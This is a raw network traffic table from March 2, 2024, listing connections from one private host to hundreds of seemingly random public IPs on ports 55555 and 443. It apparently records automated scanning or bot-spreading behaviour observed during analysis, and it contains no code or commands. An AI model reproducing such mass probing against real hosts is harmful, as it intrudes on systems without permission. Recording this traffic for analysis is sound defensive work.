Mar 2, 2024 12:36:51.824892998 CET	55302	55555	192.168.2.23	98.239.122.50
Mar 2, 2024 12:36:51.824892998 CET	55302	55555	192.168.2.23	172.10.202.129
Mar 2, 2024 12:36:51.824892998 CET	55302	55555	192.168.2.23	172.166.192.215
Mar 2, 2024 12:36:51.824898958 CET	55302	55555	192.168.2.23	98.230.237.139
Mar 2, 2024 12:36:51.824898958 CET	55302	55555	192.168.2.23	172.177.76.97
Mar 2, 2024 12:36:51.824898958 CET	55302	55555	192.168.2.23	172.252.36.182
Mar 2, 2024 12:36:51.824898958 CET	50182	443	192.168.2.23	5.95.101.41
Mar 2, 2024 12:36:51.824901104 CET	55302	55555	192.168.2.23	172.211.139.39
Mar 2, 2024 12:36:51.824901104 CET	50182	443	192.168.2.23	178.44.12.218
Mar 2, 2024 12:36:51.824901104 CET	55302	55555	192.168.2.23	172.16.86.97
Mar 2, 2024 12:36:51.824901104 CET	55302	55555	192.168.2.23	98.88.117.164
Mar 2, 2024 12:36:51.824902058 CET	50182	443	192.168.2.23	109.179.113.66
Mar 2, 2024 12:36:51.824902058 CET	50182	443	192.168.2.23	37.168.27.37
Mar 2, 2024 12:36:51.824902058 CET	55302	55555	192.168.2.23	184.149.138.239
Mar 2, 2024 12:36:51.824902058 CET	55302	55555	192.168.2.23	172.236.32.113
Mar 2, 2024 12:36:51.824902058 CET	55302	55555	192.168.2.23	172.183.185.104
Mar 2, 2024 12:36:51.824902058 CET	50182	443	192.168.2.23	37.204.190.168
Mar 2, 2024 12:36:51.824902058 CET	55302	55555	192.168.2.23	172.224.131.102
Mar 2, 2024 12:36:51.824902058 CET	55302	55555	192.168.2.23	172.179.121.244
Mar 2, 2024 12:36:51.824919939 CET	443	50182	109.124.34.140	192.168.2.23
Mar 2, 2024 12:36:51.824920893 CET	50182	443	192.168.2.23	42.186.175.43
Mar 2, 2024 12:36:51.824923992 CET	443	50182	178.44.12.218	192.168.2.23
Mar 2, 2024 12:36:51.824925900 CET	443	50182	109.179.113.66	192.168.2.23
Mar 2, 2024 12:36:51.824928045 CET	50182	443	192.168.2.23	37.102.228.141
Mar 2, 2024 12:36:51.824932098 CET	50182	443	192.168.2.23	118.45.228.234
Mar 2, 2024 12:36:51.824932098 CET	50182	443	192.168.2.23	210.63.185.49
Mar 2, 2024 12:36:51.824939966 CET	50182	443	192.168.2.23	79.1.172.183
Mar 2, 2024 12:36:51.824939966 CET	55302	55555	192.168.2.23	184.192.45.50
Mar 2, 2024 12:36:51.824939966 CET	55302	55555	192.168.2.23	184.44.51.12
Mar 2, 2024 12:36:51.824949026 CET	443	50182	37.204.190.168	192.168.2.23
Mar 2, 2024 12:36:51.824950933 CET	50182	443	192.168.2.23	210.14.211.233
Mar 2, 2024 12:36:51.824958086 CET	50182	443	192.168.2.23	178.44.12.218
Mar 2, 2024 12:36:51.824960947 CET	55302	55555	192.168.2.23	184.136.207.151
Mar 2, 2024 12:36:51.824963093 CET	55302	55555	192.168.2.23	184.0.131.58
Mar 2, 2024 12:36:51.824964046 CET	50182	443	192.168.2.23	109.124.34.140
Mar 2, 2024 12:36:51.824964046 CET	443	50182	210.14.211.233	192.168.2.23
Mar 2, 2024 12:36:51.824964046 CET	50182	443	192.168.2.23	109.70.130.214
Mar 2, 2024 12:36:51.824965954 CET	50182	443	192.168.2.23	42.16.73.189
Mar 2, 2024 12:36:51.824965954 CET	50182	443	192.168.2.23	118.191.153.102
Mar 2, 2024 12:36:51.824965954 CET	50182	443	192.168.2.23	210.28.8.78
Mar 2, 2024 12:36:51.824965954 CET	50182	443	192.168.2.23	109.179.113.66
Mar 2, 2024 12:36:51.824970961 CET	50182	443	192.168.2.23	178.92.108.133
Mar 2, 2024 12:36:51.824970961 CET	55302	55555	192.168.2.23	184.116.155.34
Mar 2, 2024 12:36:51.824975014 CET	443	50182	109.70.130.214	192.168.2.23
Mar 2, 2024 12:36:51.824978113 CET	443	50182	42.16.73.189	192.168.2.23
Mar 2, 2024 12:36:51.824979067 CET	443	50182	178.92.108.133	192.168.2.23
Mar 2, 2024 12:36:51.824980021 CET	55302	55555	192.168.2.23	172.220.205.108
Mar 2, 2024 12:36:51.824980021 CET	50182	443	192.168.2.23	94.119.232.149
Mar 2, 2024 12:36:51.824980021 CET	50182	443	192.168.2.23	118.238.214.114
Mar 2, 2024 12:36:51.824982882 CET	50182	443	192.168.2.23	94.201.194.107
Mar 2, 2024 12:36:51.824982882 CET	50182	443	192.168.2.23	42.35.220.130
Mar 2, 2024 12:36:51.824990034 CET	443	50182	94.201.194.107	192.168.2.23
Mar 2, 2024 12:36:51.824990034 CET	50182	443	192.168.2.23	79.185.28.152
Mar 2, 2024 12:36:51.824990034 CET	50182	443	192.168.2.23	178.43.189.65
Mar 2, 2024 12:36:51.824992895 CET	50182	443	192.168.2.23	212.135.240.59
Mar 2, 2024 12:36:51.824994087 CET	50182	443	192.168.2.23	178.155.198.178
Mar 2, 2024 12:36:51.824995995 CET	50182	443	192.168.2.23	37.204.190.168
Mar 2, 2024 12:36:51.824996948 CET	443	50182	79.185.28.152	192.168.2.23
Mar 2, 2024 12:36:51.824997902 CET	443	50182	42.35.220.130	192.168.2.23
Mar 2, 2024 12:36:51.825000048 CET	443	50182	94.119.232.149	192.168.2.23
Mar 2, 2024 12:36:51.825004101 CET	443	50182	212.135.240.59	192.168.2.23
Mar 2, 2024 12:36:51.825009108 CET	50182	443	192.168.2.23	118.199.129.41
Mar 2, 2024 12:36:51.825010061 CET	443	50182	178.43.189.65	192.168.2.23
Mar 2, 2024 12:36:51.825012922 CET	443	50182	118.238.214.114	192.168.2.23
Mar 2, 2024 12:36:51.825015068 CET	443	50182	118.199.129.41	192.168.2.23
Mar 2, 2024 12:36:51.825016022 CET	443	50182	178.155.198.178	192.168.2.23
Mar 2, 2024 12:36:51.825020075 CET	55302	55555	192.168.2.23	172.225.179.19
Mar 2, 2024 12:36:51.825021029 CET	50182	443	192.168.2.23	210.14.211.233
Mar 2, 2024 12:36:51.825021982 CET	50182	443	192.168.2.23	118.125.14.224
Mar 2, 2024 12:36:51.825021029 CET	55302	55555	192.168.2.23	98.15.226.145
Mar 2, 2024 12:36:51.825021982 CET	50182	443	192.168.2.23	109.217.240.126
Mar 2, 2024 12:36:51.825021029 CET	50182	443	192.168.2.23	109.70.130.214
Mar 2, 2024 12:36:51.825020075 CET	55302	55555	192.168.2.23	98.142.228.197
Mar 2, 2024 12:36:51.825026035 CET	50182	443	192.168.2.23	118.213.222.92
Mar 2, 2024 12:36:51.825026035 CET	50182	443	192.168.2.23	178.92.108.133
Mar 2, 2024 12:36:51.825031042 CET	443	50182	118.125.14.224	192.168.2.23
Mar 2, 2024 12:36:51.825032949 CET	443	50182	118.213.222.92	192.168.2.23
Mar 2, 2024 12:36:51.825035095 CET	50182	443	192.168.2.23	42.16.73.189
Mar 2, 2024 12:36:51.825035095 CET	55302	55555	192.168.2.23	172.163.102.206
Mar 2, 2024 12:36:51.825038910 CET	443	50182	109.217.240.126	192.168.2.23
Mar 2, 2024 12:36:51.825041056 CET	55302	55555	192.168.2.23	184.227.184.161
Mar 2, 2024 12:36:51.825046062 CET	50182	443	192.168.2.23	118.238.214.114
Mar 2, 2024 12:36:51.825047016 CET	55302	55555	192.168.2.23	172.0.52.156
Mar 2, 2024 12:36:51.825047016 CET	50182	443	192.168.2.23	94.201.194.107
Mar 2, 2024 12:36:51.825052023 CET	55302	55555	192.168.2.23	172.54.83.17
Mar 2, 2024 12:36:51.825052023 CET	55302	55555	192.168.2.23	98.64.175.86
Mar 2, 2024 12:36:51.825052977 CET	55302	55555	192.168.2.23	98.106.73.109
Mar 2, 2024 12:36:51.825052977 CET	55302	55555	192.168.2.23	172.127.51.74
Mar 2, 2024 12:36:51.825052977 CET	50182	443	192.168.2.23	79.185.28.152
Mar 2, 2024 12:36:51.825053930 CET	50182	443	192.168.2.23	178.43.189.65
Mar 2, 2024 12:36:51.825057030 CET	50182	443	192.168.2.23	42.35.220.130
Mar 2, 2024 12:36:51.825057983 CET	50182	443	192.168.2.23	212.135.240.59
Mar 2, 2024 12:36:51.825057983 CET	50182	443	192.168.2.23	178.155.198.178
Mar 2, 2024 12:36:51.825059891 CET	50182	443	192.168.2.23	79.63.37.159
Mar 2, 2024 12:36:51.825066090 CET	443	50182	79.63.37.159	192.168.2.23
Mar 2, 2024 12:36:51.825067997 CET	50182	443	192.168.2.23	109.108.48.118
Mar 2, 2024 12:36:51.825067997 CET	50182	443	192.168.2.23	94.119.232.149
Mar 2, 2024 12:36:51.825067997 CET	50182	443	192.168.2.23	118.199.129.41
Mar 2, 2024 12:36:51.825078011 CET	50182	443	192.168.2.23	94.95.52.164
Mar 2, 2024 12:36:51.825079918 CET	50182	443	192.168.2.23	2.168.64.42
Mar 2, 2024 12:36:51.825081110 CET	50182	443	192.168.2.23	178.166.100.63
Mar 2, 2024 12:36:51.825081110 CET	443	50182	109.108.48.118	192.168.2.23
Mar 2, 2024 12:36:51.825081110 CET	55302	55555	192.168.2.23	98.91.37.146
Mar 2, 2024 12:36:51.825084925 CET	55302	55555	192.168.2.23	98.67.117.44
Mar 2, 2024 12:36:51.825084925 CET	55302	55555	192.168.2.23	184.159.86.68
Mar 2, 2024 12:36:51.825088024 CET	50182	443	192.168.2.23	37.28.135.250
Mar 2, 2024 12:36:51.825088024 CET	50182	443	192.168.2.23	118.213.222.92
Mar 2, 2024 12:36:51.825088978 CET	443	50182	178.166.100.63	192.168.2.23
Mar 2, 2024 12:36:51.825093031 CET	443	50182	94.95.52.164	192.168.2.23
Mar 2, 2024 12:36:51.825094938 CET	443	50182	37.28.135.250	192.168.2.23
Mar 2, 2024 12:36:51.825097084 CET	50182	443	192.168.2.23	42.177.134.85
Mar 2, 2024 12:36:51.825098038 CET	55302	55555	192.168.2.23	172.92.205.181
Mar 2, 2024 12:36:51.825098991 CET	50182	443	192.168.2.23	79.63.37.159
Mar 2, 2024 12:36:51.825099945 CET	443	50182	2.168.64.42	192.168.2.23
Mar 2, 2024 12:36:51.825099945 CET	55302	55555	192.168.2.23	98.191.125.146
Mar 2, 2024 12:36:51.825099945 CET	55302	55555	192.168.2.23	172.4.223.79
Mar 2, 2024 12:36:51.825103998 CET	443	50182	42.177.134.85	192.168.2.23
Mar 2, 2024 12:36:51.825104952 CET	50182	443	192.168.2.23	42.137.37.204
Mar 2, 2024 12:36:51.825104952 CET	50182	443	192.168.2.23	109.217.240.126
Mar 2, 2024 12:36:51.825104952 CET	50182	443	192.168.2.23	118.125.14.224
Mar 2, 2024 12:36:51.825109005 CET	50182	443	192.168.2.23	37.186.252.170
Mar 2, 2024 12:36:51.825112104 CET	443	50182	42.137.37.204	192.168.2.23
Mar 2, 2024 12:36:51.825109005 CET	55302	55555	192.168.2.23	172.138.211.254
Mar 2, 2024 12:36:51.825119019 CET	55302	55555	192.168.2.23	172.86.121.235
Mar 2, 2024 12:36:51.825119019 CET	55302	55555	192.168.2.23	184.28.71.106
Mar 2, 2024 12:36:51.825119972 CET	55302	55555	192.168.2.23	172.77.254.226
Mar 2, 2024 12:36:51.825119972 CET	55302	55555	192.168.2.23	98.20.94.29
Mar 2, 2024 12:36:51.825120926 CET	443	50182	37.186.252.170	192.168.2.23
Mar 2, 2024 12:36:51.825122118 CET	55302	55555	192.168.2.23	184.0.136.83
Mar 2, 2024 12:36:51.825123072 CET	55302	55555	192.168.2.23	184.221.137.74
Mar 2, 2024 12:36:51.825122118 CET	55302	55555	192.168.2.23	184.100.67.100
Mar 2, 2024 12:36:51.825123072 CET	50182	443	192.168.2.23	94.65.58.167
Mar 2, 2024 12:36:51.825123072 CET	55302	55555	192.168.2.23	98.251.148.75
Mar 2, 2024 12:36:51.825124979 CET	55302	55555	192.168.2.23	98.160.156.222
Mar 2, 2024 12:36:51.825124979 CET	55302	55555	192.168.2.23	98.92.116.103
Mar 2, 2024 12:36:51.825124979 CET	50182	443	192.168.2.23	94.15.37.213
Mar 2, 2024 12:36:51.825124979 CET	50182	443	192.168.2.23	210.57.213.190
Mar 2, 2024 12:36:51.825131893 CET	55302	55555	192.168.2.23	184.42.30.144
Mar 2, 2024 12:36:51.825131893 CET	50182	443	192.168.2.23	37.96.11.128
Mar 2, 2024 12:36:51.825136900 CET	50182	443	192.168.2.23	42.127.163.54
Mar 2, 2024 12:36:51.825139999 CET	55302	55555	192.168.2.23	98.62.175.184
Mar 2, 2024 12:36:51.825139999 CET	55302	55555	192.168.2.23	184.67.33.137
Mar 2, 2024 12:36:51.825139999 CET	50182	443	192.168.2.23	178.129.218.40
Mar 2, 2024 12:36:51.825139999 CET	55302	55555	192.168.2.23	184.123.166.70
Mar 2, 2024 12:36:51.825143099 CET	50182	443	192.168.2.23	42.132.190.229
Mar 2, 2024 12:36:51.825143099 CET	50182	443	192.168.2.23	79.186.180.244
Mar 2, 2024 12:36:51.825144053 CET	443	50182	42.127.163.54	192.168.2.23
Mar 2, 2024 12:36:51.825144053 CET	443	50182	94.65.58.167	192.168.2.23
Mar 2, 2024 12:36:51.825144053 CET	55302	55555	192.168.2.23	172.65.209.120
Mar 2, 2024 12:36:51.825144053 CET	50182	443	192.168.2.23	5.250.223.64
Mar 2, 2024 12:36:51.825145960 CET	443	50182	37.96.11.128	192.168.2.23
Mar 2, 2024 12:36:51.825149059 CET	443	50182	94.15.37.213	192.168.2.23
Mar 2, 2024 12:36:51.825150013 CET	55302	55555	192.168.2.23	172.90.115.77
Mar 2, 2024 12:36:51.825150013 CET	50182	443	192.168.2.23	2.38.117.0
Mar 2, 2024 12:36:51.825149059 CET	50182	443	192.168.2.23	178.166.100.63
Mar 2, 2024 12:36:51.825149059 CET	55302	55555	192.168.2.23	184.37.4.234
Mar 2, 2024 12:36:51.825149059 CET	50182	443	192.168.2.23	118.37.69.91
Mar 2, 2024 12:36:51.825149059 CET	55302	55555	192.168.2.23	98.32.77.236
Mar 2, 2024 12:36:51.825153112 CET	50182	443	192.168.2.23	109.108.48.118
Mar 2, 2024 12:36:51.825154066 CET	443	50182	178.129.218.40	192.168.2.23
Mar 2, 2024 12:36:51.825154066 CET	443	50182	42.132.190.229	192.168.2.23
Mar 2, 2024 12:36:51.825155020 CET	55302	55555	192.168.2.23	184.20.225.75
Mar 2, 2024 12:36:51.825155020 CET	50182	443	192.168.2.23	37.28.135.250
Mar 2, 2024 12:36:51.825159073 CET	443	50182	210.57.213.190	192.168.2.23
Mar 2, 2024 12:36:51.825160027 CET	443	50182	2.38.117.0	192.168.2.23
Mar 2, 2024 12:36:51.825160027 CET	443	50182	79.186.180.244	192.168.2.23
Mar 2, 2024 12:36:51.825165033 CET	443	50182	118.37.69.91	192.168.2.23
Mar 2, 2024 12:36:51.825165033 CET	443	50182	5.250.223.64	192.168.2.23
Mar 2, 2024 12:36:51.825166941 CET	50182	443	192.168.2.23	2.168.64.42
Mar 2, 2024 12:36:51.825167894 CET	50182	443	192.168.2.23	94.95.52.164
Mar 2, 2024 12:36:51.825169086 CET	50182	443	192.168.2.23	210.216.13.126
Mar 2, 2024 12:36:51.825169086 CET	50182	443	192.168.2.23	42.177.134.85
Mar 2, 2024 12:36:51.825169086 CET	55302	55555	192.168.2.23	172.219.230.68
Mar 2, 2024 12:36:51.825169086 CET	55302	55555	192.168.2.23	98.49.7.188
Mar 2, 2024 12:36:51.825171947 CET	50182	443	192.168.2.23	42.137.37.204
Mar 2, 2024 12:36:51.825171947 CET	50182	443	192.168.2.23	42.127.163.54
Mar 2, 2024 12:36:51.825176001 CET	50182	443	192.168.2.23	178.86.230.150
Mar 2, 2024 12:36:51.825176001 CET	50182	443	192.168.2.23	79.71.47.1
Mar 2, 2024 12:36:51.825176001 CET	50182	443	192.168.2.23	94.15.37.213
Mar 2, 2024 12:36:51.825176954 CET	50182	443	192.168.2.23	37.186.252.170
Mar 2, 2024 12:36:51.825176954 CET	50182	443	192.168.2.23	37.96.11.128
Mar 2, 2024 12:36:51.825181961 CET	443	50182	210.216.13.126	192.168.2.23
Mar 2, 2024 12:36:51.825185061 CET	50182	443	192.168.2.23	178.129.218.40
Mar 2, 2024 12:36:51.825187922 CET	50182	443	192.168.2.23	94.65.58.167
Mar 2, 2024 12:36:51.825191021 CET	443	50182	178.86.230.150	192.168.2.23
Mar 2, 2024 12:36:51.825196028 CET	50182	443	192.168.2.23	79.186.180.244
Mar 2, 2024 12:36:51.825196028 CET	50182	443	192.168.2.23	42.132.190.229
Mar 2, 2024 12:36:51.825202942 CET	443	50182	79.71.47.1	192.168.2.23
Mar 2, 2024 12:36:51.825202942 CET	50182	443	192.168.2.23	118.37.69.91
Mar 2, 2024 12:36:51.825205088 CET	50182	443	192.168.2.23	2.38.117.0
Mar 2, 2024 12:36:51.825207949 CET	50182	443	192.168.2.23	5.250.223.64
Mar 2, 2024 12:36:51.825210094 CET	50182	443	192.168.2.23	210.216.13.126
Mar 2, 2024 12:36:51.825211048 CET	50182	443	192.168.2.23	210.57.213.190
Mar 2, 2024 12:36:51.825222969 CET	55302	55555	192.168.2.23	98.78.25.31
Mar 2, 2024 12:36:51.825227022 CET	55302	55555	192.168.2.23	98.240.220.149
Mar 2, 2024 12:36:51.825227022 CET	50182	443	192.168.2.23	178.86.230.150
Mar 2, 2024 12:36:51.825227022 CET	55302	55555	192.168.2.23	184.24.23.165
Mar 2, 2024 12:36:51.825232983 CET	55302	55555	192.168.2.23	98.76.6.136
Mar 2, 2024 12:36:51.825242996 CET	55302	55555	192.168.2.23	172.18.13.166
Mar 2, 2024 12:36:51.825242996 CET	50182	443	192.168.2.23	79.71.47.1
Mar 2, 2024 12:36:51.825251102 CET	55302	55555	192.168.2.23	98.180.56.45
Mar 2, 2024 12:36:51.825253963 CET	55302	55555	192.168.2.23	172.81.137.89
Mar 2, 2024 12:36:51.825267076 CET	55302	55555	192.168.2.23	98.0.218.151
Mar 2, 2024 12:36:51.825270891 CET	55302	55555	192.168.2.23	172.163.121.176
Mar 2, 2024 12:36:51.825272083 CET	55302	55555	192.168.2.23	184.60.12.26
Mar 2, 2024 12:36:51.825272083 CET	55302	55555	192.168.2.23	184.151.239.226
Mar 2, 2024 12:36:51.825272083 CET	55302	55555	192.168.2.23	184.1.101.179
Mar 2, 2024 12:36:51.825283051 CET	55302	55555	192.168.2.23	184.214.143.102
Mar 2, 2024 12:36:51.825285912 CET	55302	55555	192.168.2.23	172.184.232.62
Mar 2, 2024 12:36:51.825287104 CET	55302	55555	192.168.2.23	98.210.155.111
Mar 2, 2024 12:36:51.825289011 CET	55302	55555	192.168.2.23	172.243.185.214
Mar 2, 2024 12:36:51.825299978 CET	55302	55555	192.168.2.23	98.60.125.140
Mar 2, 2024 12:36:51.825303078 CET	55302	55555	192.168.2.23	172.232.159.172
Mar 2, 2024 12:36:51.825304031 CET	55302	55555	192.168.2.23	98.203.9.2
Mar 2, 2024 12:36:51.825304031 CET	55302	55555	192.168.2.23	184.63.173.128
Mar 2, 2024 12:36:51.825304985 CET	55302	55555	192.168.2.23	184.165.40.236
Mar 2, 2024 12:36:51.825305939 CET	55302	55555	192.168.2.23	98.56.199.209
Mar 2, 2024 12:36:51.825304985 CET	55302	55555	192.168.2.23	172.34.97.79
Mar 2, 2024 12:36:51.825306892 CET	55302	55555	192.168.2.23	172.33.185.150
Mar 2, 2024 12:36:51.825306892 CET	55302	55555	192.168.2.23	172.89.95.199
Mar 2, 2024 12:36:51.825314045 CET	55302	55555	192.168.2.23	172.37.242.195
Mar 2, 2024 12:36:51.825315952 CET	55302	55555	192.168.2.23	172.21.253.122
Mar 2, 2024 12:36:51.825316906 CET	55302	55555	192.168.2.23	98.52.116.107
Mar 2, 2024 12:36:51.825318098 CET	55302	55555	192.168.2.23	98.119.250.182
Mar 2, 2024 12:36:51.825318098 CET	55302	55555	192.168.2.23	184.53.46.193
Mar 2, 2024 12:36:51.825321913 CET	55302	55555	192.168.2.23	98.250.19.230
Mar 2, 2024 12:36:51.825323105 CET	55302	55555	192.168.2.23	184.228.69.90
Mar 2, 2024 12:36:51.825323105 CET	55302	55555	192.168.2.23	98.44.154.90
Mar 2, 2024 12:36:51.825329065 CET	55302	55555	192.168.2.23	172.235.170.56
Mar 2, 2024 12:36:51.825329065 CET	55302	55555	192.168.2.23	98.64.225.235
Mar 2, 2024 12:36:51.825335979 CET	55302	55555	192.168.2.23	172.200.81.222
Mar 2, 2024 12:36:51.825336933 CET	55302	55555	192.168.2.23	184.177.184.122
Mar 2, 2024 12:36:51.825337887 CET	55302	55555	192.168.2.23	172.133.12.115
Mar 2, 2024 12:36:51.825337887 CET	55302	55555	192.168.2.23	172.233.240.231
Mar 2, 2024 12:36:51.825339079 CET	55302	55555	192.168.2.23	98.180.35.234
Mar 2, 2024 12:36:51.825359106 CET	55302	55555	192.168.2.23	98.136.237.0
Mar 2, 2024 12:36:51.825359106 CET	55302	55555	192.168.2.23	98.176.7.65
Mar 2, 2024 12:36:51.825359106 CET	55302	55555	192.168.2.23	98.199.153.90
Mar 2, 2024 12:36:51.825364113 CET	55302	55555	192.168.2.23	98.205.129.167
Mar 2, 2024 12:36:51.825371981 CET	55302	55555	192.168.2.23	98.250.226.31
Mar 2, 2024 12:36:51.825376034 CET	55302	55555	192.168.2.23	98.194.136.16
Mar 2, 2024 12:36:51.825376034 CET	55302	55555	192.168.2.23	172.250.107.112
Mar 2, 2024 12:36:51.825376987 CET	55302	55555	192.168.2.23	98.103.39.146
Mar 2, 2024 12:36:51.825376987 CET	55302	55555	192.168.2.23	98.16.26.207
Mar 2, 2024 12:36:51.825388908 CET	55302	55555	192.168.2.23	98.127.38.186
Mar 2, 2024 12:36:51.825395107 CET	55302	55555	192.168.2.23	172.244.117.67
Mar 2, 2024 12:36:51.825397968 CET	55302	55555	192.168.2.23	184.111.255.223
Mar 2, 2024 12:36:51.825401068 CET	55302	55555	192.168.2.23	184.39.117.190
Mar 2, 2024 12:36:51.825404882 CET	55302	55555	192.168.2.23	98.88.6.245
Mar 2, 2024 12:36:51.825419903 CET	55302	55555	192.168.2.23	184.212.99.145
Mar 2, 2024 12:36:51.825419903 CET	55302	55555	192.168.2.23	184.31.147.122
Mar 2, 2024 12:36:51.825422049 CET	55302	55555	192.168.2.23	172.114.180.133
Mar 2, 2024 12:36:51.825429916 CET	55302	55555	192.168.2.23	184.72.195.221
Mar 2, 2024 12:36:51.825429916 CET	55302	55555	192.168.2.23	184.192.225.211
Mar 2, 2024 12:36:51.825433016 CET	55302	55555	192.168.2.23	184.220.44.183
Mar 2, 2024 12:36:51.825443983 CET	55302	55555	192.168.2.23	98.130.203.227
Mar 2, 2024 12:36:51.825443983 CET	55302	55555	192.168.2.23	98.65.241.244
Mar 2, 2024 12:36:51.825443983 CET	55302	55555	192.168.2.23	172.111.164.173
Mar 2, 2024 12:36:51.825449944 CET	55302	55555	192.168.2.23	98.115.119.165
Mar 2, 2024 12:36:51.825449944 CET	55302	55555	192.168.2.23	184.99.98.243
Mar 2, 2024 12:36:51.825449944 CET	55302	55555	192.168.2.23	172.250.187.84
Mar 2, 2024 12:36:51.825455904 CET	55302	55555	192.168.2.23	98.112.218.0
Mar 2, 2024 12:36:51.825455904 CET	55302	55555	192.168.2.23	184.110.212.95
Mar 2, 2024 12:36:51.825455904 CET	55302	55555	192.168.2.23	184.168.20.66
Mar 2, 2024 12:36:51.825479031 CET	55302	55555	192.168.2.23	184.127.150.133
Mar 2, 2024 12:36:51.825483084 CET	55302	55555	192.168.2.23	98.180.46.194
Mar 2, 2024 12:36:51.825483084 CET	55302	55555	192.168.2.23	98.208.169.138
Mar 2, 2024 12:36:51.825484991 CET	55302	55555	192.168.2.23	184.186.175.228
Mar 2, 2024 12:36:51.825490952 CET	55302	55555	192.168.2.23	98.100.255.123
Mar 2, 2024 12:36:51.825496912 CET	40996	443	192.168.2.23	178.242.107.32
Mar 2, 2024 12:36:51.825496912 CET	55302	55555	192.168.2.23	184.111.236.84
Mar 2, 2024 12:36:51.825498104 CET	55302	55555	192.168.2.23	172.60.123.188
Mar 2, 2024 12:36:51.825499058 CET	55302	55555	192.168.2.23	98.196.30.103
Mar 2, 2024 12:36:51.825499058 CET	55302	55555	192.168.2.23	98.117.41.183
Mar 2, 2024 12:36:51.825499058 CET	55302	55555	192.168.2.23	172.96.117.26
Mar 2, 2024 12:36:51.825504065 CET	55302	55555	192.168.2.23	184.10.220.43
Mar 2, 2024 12:36:51.825505972 CET	443	40996	178.242.107.32	192.168.2.23
Mar 2, 2024 12:36:51.825514078 CET	51324	443	192.168.2.23	178.62.97.2
Mar 2, 2024 12:36:51.825516939 CET	55302	55555	192.168.2.23	172.99.252.155
Mar 2, 2024 12:36:51.825517893 CET	55302	55555	192.168.2.23	172.236.16.114
Mar 2, 2024 12:36:51.825520992 CET	55302	55555	192.168.2.23	172.98.122.135
Mar 2, 2024 12:36:51.825525999 CET	443	51324	178.62.97.2	192.168.2.23
Mar 2, 2024 12:36:51.825526953 CET	55302	55555	192.168.2.23	98.37.31.216
Mar 2, 2024 12:36:51.825526953 CET	49590	443	192.168.2.23	5.134.75.154
Mar 2, 2024 12:36:51.825531960 CET	55302	55555	192.168.2.23	172.125.178.64
Mar 2, 2024 12:36:51.825532913 CET	55302	55555	192.168.2.23	98.246.77.48
Mar 2, 2024 12:36:51.825536966 CET	443	49590	5.134.75.154	192.168.2.23
Mar 2, 2024 12:36:51.825532913 CET	41004	443	192.168.2.23	5.158.166.187
Mar 2, 2024 12:36:51.825540066 CET	55302	55555	192.168.2.23	172.89.2.7
Mar 2, 2024 12:36:51.825532913 CET	55302	55555	192.168.2.23	184.32.87.232
Mar 2, 2024 12:36:51.825534105 CET	55302	55555	192.168.2.23	98.219.122.101
Mar 2, 2024 12:36:51.825532913 CET	55302	55555	192.168.2.23	172.113.247.154
Mar 2, 2024 12:36:51.825532913 CET	55302	55555	192.168.2.23	172.36.176.148
Mar 2, 2024 12:36:51.825534105 CET	55302	55555	192.168.2.23	184.62.168.37
Mar 2, 2024 12:36:51.825536966 CET	55302	55555	192.168.2.23	172.163.185.195
Mar 2, 2024 12:36:51.825534105 CET	55302	55555	192.168.2.23	172.155.5.89
Mar 2, 2024 12:36:51.825546026 CET	40996	443	192.168.2.23	178.242.107.32
Mar 2, 2024 12:36:51.825532913 CET	55302	55555	192.168.2.23	98.134.60.175
Mar 2, 2024 12:36:51.825536966 CET	55302	55555	192.168.2.23	172.99.69.97
Mar 2, 2024 12:36:51.825536966 CET	55302	55555	192.168.2.23	172.207.19.97
Mar 2, 2024 12:36:51.825562000 CET	51324	443	192.168.2.23	178.62.97.2
Mar 2, 2024 12:36:51.825566053 CET	443	41004	5.158.166.187	192.168.2.23
Mar 2, 2024 12:36:51.825570107 CET	45604	443	192.168.2.23	94.202.147.8
Mar 2, 2024 12:36:51.825579882 CET	443	45604	94.202.147.8	192.168.2.23
Mar 2, 2024 12:36:51.825578928 CET	49590	443	192.168.2.23	5.134.75.154
Mar 2, 2024 12:36:51.825582981 CET	42814	443	192.168.2.23	42.202.86.119
Mar 2, 2024 12:36:51.825586081 CET	55302	55555	192.168.2.23	98.227.111.188
Mar 2, 2024 12:36:51.825586081 CET	52634	443	192.168.2.23	212.69.255.68
Mar 2, 2024 12:36:51.825589895 CET	55302	55555	192.168.2.23	172.155.0.60
Mar 2, 2024 12:36:51.825591087 CET	443	42814	42.202.86.119	192.168.2.23
Mar 2, 2024 12:36:51.825598955 CET	443	52634	212.69.255.68	192.168.2.23
Mar 2, 2024 12:36:51.825603962 CET	55302	55555	192.168.2.23	184.22.216.246
Mar 2, 2024 12:36:51.825608015 CET	41004	443	192.168.2.23	5.158.166.187
Mar 2, 2024 12:36:51.825608015 CET	55302	55555	192.168.2.23	98.248.83.187
Mar 2, 2024 12:36:51.825608015 CET	55302	55555	192.168.2.23	98.141.247.202
Mar 2, 2024 12:36:51.825612068 CET	45604	443	192.168.2.23	94.202.147.8
Mar 2, 2024 12:36:51.825612068 CET	55302	55555	192.168.2.23	184.204.178.246
Mar 2, 2024 12:36:51.825620890 CET	55302	55555	192.168.2.23	172.200.92.14
Mar 2, 2024 12:36:51.825638056 CET	42814	443	192.168.2.23	42.202.86.119
Mar 2, 2024 12:36:51.825638056 CET	55302	55555	192.168.2.23	172.215.39.71
Mar 2, 2024 12:36:51.825639009 CET	52634	443	192.168.2.23	212.69.255.68
Mar 2, 2024 12:36:51.825639009 CET	55302	55555	192.168.2.23	184.57.69.141
Mar 2, 2024 12:36:51.825643063 CET	55302	55555	192.168.2.23	184.56.122.127
Mar 2, 2024 12:36:51.825647116 CET	55302	55555	192.168.2.23	184.199.28.27
Mar 2, 2024 12:36:51.825647116 CET	55302	55555	192.168.2.23	172.194.94.230
Mar 2, 2024 12:36:51.825647116 CET	55302	55555	192.168.2.23	98.74.97.142
Mar 2, 2024 12:36:51.825648069 CET	55302	55555	192.168.2.23	172.185.159.79
Mar 2, 2024 12:36:51.825649023 CET	55302	55555	192.168.2.23	172.69.240.16
Mar 2, 2024 12:36:51.825649023 CET	55302	55555	192.168.2.23	172.109.205.80
Mar 2, 2024 12:36:51.825653076 CET	55302	55555	192.168.2.23	184.0.24.123
Mar 2, 2024 12:36:51.825653076 CET	55302	55555	192.168.2.23	98.99.178.111
Mar 2, 2024 12:36:51.825663090 CET	55302	55555	192.168.2.23	184.125.206.30
Mar 2, 2024 12:36:51.825671911 CET	55302	55555	192.168.2.23	98.57.150.163
Mar 2, 2024 12:36:51.825685978 CET	55302	55555	192.168.2.23	184.161.14.155
Mar 2, 2024 12:36:51.825685978 CET	55302	55555	192.168.2.23	172.98.105.101
Mar 2, 2024 12:36:51.825690985 CET	55302	55555	192.168.2.23	98.60.40.138
